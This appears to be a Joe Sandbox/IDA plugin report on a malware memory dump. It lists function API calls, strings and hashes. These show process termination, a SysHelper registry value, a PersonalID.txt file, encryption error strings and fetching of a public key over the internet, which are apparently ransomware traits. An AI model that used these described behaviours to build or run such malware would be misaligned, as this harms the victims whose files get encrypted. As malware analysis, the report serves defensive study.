Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
